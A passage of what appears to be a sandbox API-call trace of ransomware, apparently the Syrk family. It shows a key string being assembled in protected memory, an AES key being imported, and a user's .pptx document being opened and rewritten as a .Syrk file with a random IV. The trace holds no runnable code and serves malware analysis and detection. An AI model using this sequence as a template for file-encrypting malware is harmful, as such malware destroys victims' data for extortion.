(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0229.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0229.438] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.438] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0229.438] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0229.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0229.438] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.438] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0229.438] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0229.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0229.438] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.439] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0229.439] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.439] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0229.439] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0229.439] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.439] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0229.439] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.439] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0229.439] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0229.439] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.439] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0229.439] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0229.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0229.440] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.440] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0229.440] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0229.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0229.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0229.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0229.441] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.441] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0229.441] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0229.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0229.441] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.442] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0229.442] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0229.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0229.442] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.442] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0229.442] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0229.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0229.442] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.442] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0229.442] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0229.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0229.443] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.443] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0229.443] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0229.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0229.443] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.443] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0229.443] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0229.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0229.443] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.444] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0229.444] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0229.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0229.444] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.444] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0229.444] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.461] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0229.461] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0229.461] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0229.461] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0229.461] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.461] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0229.462] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0229.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0229.462] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.462] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0229.462] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0229.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0229.462] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.462] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0229.462] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0229.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0229.462] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.463] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0229.463] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0229.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0229.463] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.463] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0229.463] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0229.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0229.463] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.463] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0229.463] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0229.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0229.464] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.464] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0229.464] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0229.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0229.464] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.464] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0229.464] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0229.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0229.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0229.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0229.465] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.465] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0229.465] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0229.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0229.465] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.465] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0229.465] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0229.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0229.466] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.466] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0229.466] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0229.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0229.466] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.466] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0229.466] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.466] EtwEventActivityIdControl () returned 0x0 [0229.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0229.467] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.467] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0229.467] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0229.469] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0229.471] CryptImportKey (in: hProv=0x5c4d298, pbData=0x2526fb0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99560) returned 1 [0229.471] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0229.471] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.471] EtwEventActivityIdControl () returned 0x0 [0229.471] EtwEventActivityIdControl () returned 0x0 [0229.471] EtwEventActivityIdControl () returned 0x0 [0229.478] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx")) returned 0x20 [0229.479] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx")) returned 0x20 [0229.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0229.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", lpFilePart=0x0) returned 0x26 [0229.479] EtwEventActivityIdControl () returned 0x0 [0229.480] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.480] EtwEventActivityIdControl () returned 0x0 [0229.480] EtwEventActivityIdControl () returned 0x0 [0229.480] EtwEventActivityIdControl () returned 0x0 [0229.481] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0229.481] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", lpFilePart=0x0) returned 0x26 [0229.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0229.481] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0229.482] GetFileType (hFile=0x454) returned 0x1 [0229.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0229.482] GetFileType (hFile=0x454) returned 0x1 [0229.482] EtwEventActivityIdControl () returned 0x0 [0229.482] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.483] EtwEventActivityIdControl () returned 0x0 [0229.483] EtwEventActivityIdControl () returned 0x0 [0229.483] EtwEventActivityIdControl () returned 0x0 [0229.484] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0229.484] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk", lpFilePart=0x0) returned 0x2b [0229.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0229.484] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0229.485] GetFileType (hFile=0x458) returned 0x1 [0229.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0229.485] GetFileType (hFile=0x458) returned 0x1 [0229.485] EtwEventActivityIdControl () returned 0x0 [0229.485] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x2536b90 | out: pbBuffer=0x2536b90) returned 1 [0229.487] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0229.487] CryptDuplicateKey (in: hKey=0x5c99560, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c999a0) returned 1 [0229.487] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0229.487] CryptSetKeyParam (hKey=0x5c999a0, dwParam=0x4, pbData=0x2537ec8*=0x1, dwFlags=0x0) returned 1 [0229.487] CryptSetKeyParam (hKey=0x5c999a0, dwParam=0x1, pbData=0x2537e94, dwFlags=0x0) returned 1 